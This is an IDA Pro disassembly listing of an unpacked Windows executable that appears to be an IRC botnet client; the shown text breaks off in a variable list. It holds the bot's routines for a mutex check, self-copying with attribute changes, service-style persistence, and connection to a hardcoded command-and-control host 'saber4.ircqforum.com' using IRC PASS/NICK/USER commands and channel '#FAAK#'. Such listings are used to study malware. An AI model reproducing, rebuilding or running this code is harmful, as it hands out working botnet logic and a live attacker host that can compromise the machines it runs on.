;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : F7EBBB72F437B59C65BBC883E6DC8FF9
; File Name : u:\work\f7ebbb72f437b59c65bbc883e6dc8ff9_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DD000 ( 905216.)
; Section size in file : 000DD000 ( 905216.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_41835A+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindsSerscAgts ; "Winds Sersc Agts"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB608
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41AFE0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB678
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB5B8
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB630
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:00416644p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41B4D5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41B4C2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41B202
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B11A
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41B0B1
push edi
call sub_41B05B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E59C
call dword_4CB6EC
call sub_40B2C0
call dword_4CB5AC
call dword_4CB5AC
mov ebx, dword_427078
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_43D808
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 2670A78h
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 2670000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 2660C3Bh
nop
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427068
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43D800
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418685
pop ecx
mov dword_4CB390, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270A8
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB394, eax
call esi
push eax
call sub_41B8D8
pop ecx
call sub_409B13
push 2
call dword_4CB700
push 7530h
push offset aQsfpo ; "qsfpo"
push ebx
push ebx
call near ptr 2690329h
nop
push eax
nop
call near ptr 2690295h
cmp eax, 102h
jnz short loc_4012A1
push 1
nop
call near ptr 77E75CB5h
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CB5C4
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 2670A78h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 2690126h
push eax
nop
call near ptr 2670000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41B9D1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_429ACC
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41B980
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41B900
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_42910C
jz short loc_40139C
push esi
xor edi, edi
call sub_41AFE0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42910C[edi], dl
inc edi
call sub_41AFE0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_429AC4
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2690000h
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
nop
call near ptr 2680E1Fh
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427090
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
call near ptr 2680ABEh
nop
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
nop
call near ptr 2680000h
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_418294
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
nop
call near ptr 2680E1Fh
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41B590
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41B590
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset dword_43D808
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
nop
call near ptr 2680A54h
push eax
push esi
push 100000h
nop
call near ptr 26803B1h
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_429AB8
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
call near ptr 2660C3Bh
nop
test eax, eax
jz short loc_401516
push 0C8h
call near ptr 2680000h
nop
push dword ptr [ebp-20h]
mov esi, dword_427068
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CB5AC
push ebx
call near ptr 77E75CB5h
nop
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DB974, 2
jle short loc_401562
mov eax, dword_4DB978
push dword ptr [eax+4]
call sub_41B779
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 2690295h
push esi
nop
call near ptr 2660919h
mov eax, dword_4DB978
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
nop
call near ptr 2680000h
mov eax, dword_4DB978
push dword ptr [eax+8]
nop
call near ptr 26802D9h
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CB724, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429A9C
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B0F7
lea eax, [ebp-0A0h]
push eax
call sub_4151AD
push 0B80h
push ebx
push offset dword_43D810
call sub_41B590
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429A78
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B0F7
add esp, 14h
mov esi, eax
mov edi, dword_42707C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset byte_419A01
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz short loc_401622
nop
call near ptr 2680ABEh
push eax
lea eax, [ebp-0A0h]
push offset unk_429A38
push eax
call sub_41B886
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_4151AD
push 2
call sub_40B33F
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_429A0C
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B0F7
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_4101FD
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz short loc_40169A
nop
call near ptr 2680ABEh
push eax
lea eax, [ebp-0A0h]
push offset dword_4299D8
push eax
call sub_41B886
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_4151AD
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41B8E2
push 7Fh
and eax, 3
push offset aSaber4_ircqfor ; "saber4.ircqforum.com"
push offset dword_4CB39C
mov dword_4CB508, eax
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB41C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB4EC, eax
call sub_41B5F0
push 3Fh
mov esi, offset dword_4CB45C
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword_4CB4F0, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CB398
mov dword_4CB504, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CB504, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
nop
call near ptr 2680000h
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aSaber4_ircqfor ; "saber4.ircqforum.com"
push offset dword_4CB39C
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB4EC, eax
call sub_41B5F0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290E8, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E8
push offset dword_4CB39C
call sub_41B5F0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB4EC, eax
call sub_41B5F0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B2C0
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CB5AC
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+662Bo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB654
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AAFA
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40B08E
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E5A8
push edi
push eax
call sub_41B5F0
add esp, 28h
push 6
push 1
push 2
call dword_4CB6D4
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E59C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CB6EC
call sub_40AB23
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
nop
call near ptr 2680000h
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD4
call sub_415221
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CB6EC
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B413
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41BB20
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB500, bl
jz short loc_40199A
push offset byte_4CB500
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409A2D
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40B08E
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CB6EC
push 1388h
nop
call near ptr 2680000h
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB66C
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_417F80
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
nop
call near ptr 2680000h
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_5D88 = byte ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
var_50F4 = byte ptr -50F4h
var_4FF4 = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = byte ptr -45ECh
var_4588 = byte ptr -4588h
var_4488 = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
var_2E58 = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
var_1594 = byte ptr -1594h
